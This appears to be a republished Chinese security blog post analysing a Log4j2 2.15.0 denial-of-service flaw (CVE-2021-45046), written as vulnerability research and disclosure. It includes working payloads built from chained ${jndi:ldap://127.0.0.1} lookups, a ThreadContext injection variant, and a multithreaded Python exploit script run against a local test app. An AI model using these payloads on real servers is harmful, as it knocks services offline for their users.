Apache Log4j2拒绝服务漏洞分析
2021-12-30 14:30:0 Author: mp.weixin.qq.com(查看原文) 阅读量:12 收藏

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0x00 介绍


在Log4j2爆出RCE漏洞后,官方给出了RC1和RC2的修复,在之前的文章中有详细分析
在RC2的修复之前,其实就存在DOS的可能,但我在RC2的修复后,发现仍然可以造成拒绝服务漏洞
于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题

得到了官方的认可和致谢


其实当时没有想过申请CVE等步骤,但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告,这个CVE正是拒绝服务相关,不过漏洞credit信息并不是我,而是国外某团队

具体链接参考:
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
大致阅读CVE-2021-45046相关的信息后,发现和我提交的DOS漏洞略有不同,但核心部分是一致的
在2.15.0版本利用的前提:该漏洞必须在开启lookup功能的情况下触发
一种常见的开启姿势是在log4j2.xml中:
<appenders>    <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">        <PatternLayout pattern="%msg{lookups}%n"/>    </console></appenders>
这篇文章就从三个方面来谈一谈这个拒绝服务漏洞
  • 我是如何发现这个拒绝服务漏洞的
  • 这个CVE描述的漏洞与我发现的有什么相同和不同之处
  • 这种拒绝服务漏洞的实际利用场景

0x01 挖掘过程

回顾RC1和RC2的修复:如果存在JndiLookup那么会判断其中的的host是否合法
if (!allowedHosts.contains(uri.getHost())) {    LOGGER.warn("Attempt to access ldap server not in allowed list");    return null;}而allowedHosts中一定包含有localhost和127.0.0.1// 拿到本地IPprivate static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();...addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);return new JndiManager(...,allowedHosts,...);
这说明如果LDAP服务端在127.0.0.1可以成功lookup
然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server
我想到lookup本质是网络相关的操作,会有阻塞的可能。可以构造出Payload使程序lookup本地,而本地不可能开LDAP Server,于是发生超时等待,也许会有拒绝服务漏洞的可能
于是修改了RC2的源码,加入了统计时间代码,分析lookup的超时情况
(下文分析为什么阻塞的方法不是looup而是context.getAttributes)
if (!allowedHosts.contains(uri.getHost())) {    LOGGER.warn("Attempt to access ldap server not in allowed list");    return null;}long startTime = System.currentTimeMillis();Attributes attributes = null;try {    // 阻塞方法    attributes = this.context.getAttributes(name);}catch (Exception ignored){}long endTime = System.currentTimeMillis();System.out.println(endTime-startTime);
测试以上打印时间的代码会发现总是打印2000左右,说明超时时间为2秒
深入getAttributes可以看到这样的方法
static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {    LdapURL var2 = new LdapURL(var0);    // 跟入    LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());    String var4 = var2.getDN() != null ? var2.getDN() : "";    CompositeName var5 = new CompositeName();    if (!"".equals(var4)) {        var5.add(var4);    }    return new ResolveResult(var3, var5);}
在new LdapCtx方法中存在connect操作导致阻塞
(其实connect方法还有几步才会到达最底层的阻塞,不过没有必要继续分析了)
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {    ...    try {        this.connect(false);    }    ...}
回到之前的问题:为什么阻塞的不是lookup而是getAttributes方法
当前代码在连接超时后会抛出异常,走不到lookup方法

其实在lookup方法中应该也会造成阻塞,简单往里面跟一下会发现类似的代码
// 从Attributes里获取属性// 那么应该调用了getAttributes之类的阻塞方法if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {    var3 = Obj.decodeObject((Attributes)var4);}if (var3 == null) {    // 类似的代码    var3 = new LdapCtx(this, this.fullyQualifiedName(var1));}
现在发现了能让程序阻塞的办法,那么怎样构造Payload以达成更长时间的阻塞呢
Log4j2在处理${}是递归解析,也就是说会处理一个字符串中的所有${}并分别处理对应的值,每一次的处理都会造成2秒的等待,所以只需简单的拼接即可
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { ... substitute(event, bufName, 0, bufName.length()); ... String varValue = resolveVariable(event, varName, buf, startPos, endPos); ... int change = substitute(event, buf, startPos, varLen, priorVariables);}
例如我拼接三个会阻塞更长的时间
(这里是针对本地80端口,实际上可以用大概率关闭的高位端口)
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
这时候会有师傅产生疑问:
在一个web请求中,这样的payload只能让我当前的请求阻塞住,如何实现真正的拒绝服务攻击,让目标网站无法正常处理别人的请求呢?我将在后文给大家展示

0x02 利用场景

造一个SpringBoot项目,在resources下添加配置文件开启lookup功能
<configuration status="OFF" monitorInterval="30"> <appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%msg{lookups}%n"/> </console> </appenders> <loggers> <root level="error"> <appender-ref ref="CONSOLE-APPENDER"/> </root> </loggers></configuration>
为了制造场景所以要移除了SpringBoot自带的日志依赖,而选用Log4j2
另外引入starter-web以编写Controller模拟真实的接口供测试
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions></dependency><dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version></dependency><dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version></dependency><dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId></dependency>
模拟一个接口:接受message参数并Base64解码后打印日志
@Controllerpublic class TestController { private static final Logger logger = LogManager.getLogger(TestController.class); @RequestMapping("/test") @ResponseBody public String test(String message) { try { // Base64解码 String data = new String(Base64.getDecoder().decode(message)); logger.error("message:" + data); } catch (Exception e) { return e.getMessage(); } return ""; }}
使用Python编写EXP打自己的靶机
import base64import threadingimport requests# 每一个Payload将会导致阻塞20秒payload = "${jndi:ldap://127.0.0.1}" * 10payload = base64.b64encode(bytes(payload, encoding="utf-8"))url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")def work(): requests.get(url)if __name__ == '__main__': threadList = [] # 多线程请求 for i in range(1000): t = threading.Thread(target=work) threadList.append(t) t.start() for thread in threadList: thread.join()
启动SpringBoot项目后,可以用这个Python脚本成功造成拒绝服务漏洞

0x03 CVE分析

接下来分析这个CVE,其实我不确定对于这个CVE的解读是否正确
在Log4j2.xml中支持一种配置从上下文中取值:例如这个例子可以取到loginId值
<Appenders>    <Console name="STDOUT" target="SYSTEM_OUT">        <PatternLayout>            <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>        </PatternLayout>    </Console></Appenders>
如果程序这样写
public static void main(String[] args) throws Exception{    ThreadContext.put("loginId","1}");    logger.error("xxx");}
将会打印
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx
如果代码这样写将会导致类似的拒绝服务
ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");logger.error("xxx");
在xml中有另一种效果相同的配置方式,但这种写法反而不会触发${}解析
<Appenders>    <Console name="STDOUT" target="SYSTEM_OUT">        <PatternLayout>            <pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>        </PatternLayout>    </Console></Appenders>
在issue中也有人证实了这一点

关于拒绝服务的分析上文已有,重点看一下ContextMapLookup
@Overridepublic String lookup(final String key) {    return currentContextData().getValue(key);}@Overridepublic String lookup(final LogEvent event, final String key) {    return event.getContextData().getValue(key);}
这里的contextData正是一个简单的Map

在resolveVariable方法返回
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,                                 final int startPos, final int endPos) {    final StrLookup resolver = getVariableResolver();    if (resolver == null) {        return null;    }    // 取出了${jndi:ldap://127.0.0.1}    return resolver.lookup(event, variableName);}
取出的payload在下一次的递归中成功被lookup

不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢

定位到创建LogEvent的方法ReusableLogEventFactory.createEvent
@Overridepublic LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,                            final StackTraceElement location, final Level level, final Message message,                            final List<Property> properties, final Throwable t) {    if (result == null || result.reserved) {        final boolean initThreadLocal = result == null;        // 这个类中包含了空的context        result = new MutableLogEvent();        ...    }    ...    // 真正设置context属性    result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));    result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());    ...    return result;}跟入ThreadContextDataInjector.injectContextData方法@Overridepublic StringMap injectContextData(final List<Property> props, final StringMap ignore) {    if (providers.size() == 1 && (props == null || props.isEmpty())) {        // 跟入supplyStringMap        return providers.get(0).supplyStringMap();    }    ...}进入ThreadContextDataProvider.supplyStringMap方法@Overridepublic StringMap supplyStringMap() {    return ThreadContext.getThreadContextMap().getReadOnlyContextData();}
在getReadOnlyContextData中获得这个Map

再没有必要做进一步的分析了,这个拒绝服务漏洞原理已经清晰了

0x04 CVE利用场景

CVE中提到的利用场景应该更为广泛
通常情况下,记录登录用户的身份等信息是常见的操作
如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串,将会导致该漏洞
@RequestMapping("/test")@ResponseBodypublic String test(String userId) { try { String id = new String(Base64.getDecoder().decode(userId)); // 记录用户登录ID ThreadContext.put("loginId", id); // 记录该用户已登录 logger.info("user login"); // 其他业务逻辑 // ... } catch (Exception e) { return e.getMessage(); } return "";}
正常情况下:http://localhost:8080/test?userId=MQ==
将会记录
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login
如果打Payload则报错并成功阻塞
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLj
改写下Python脚本即可成功拒绝服务
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")

0x05 代码


SpringBoot搭建的利用环境代码:https://github.com/EmYiQing/Log4j2DoS
Apache已经将我的名字加入了CVE的credit中

https://logging.apache.org/log4j/2.x/security.html
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文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652884150&idx=1&sn=e79ccebae4fce302a3de782ed4d46e4a&chksm=bd59b07b8a2e396df8c5b9062a58e4d02d2f184e1762e6f1c06247f9970ef6b4e5a5bd4d6449#rd
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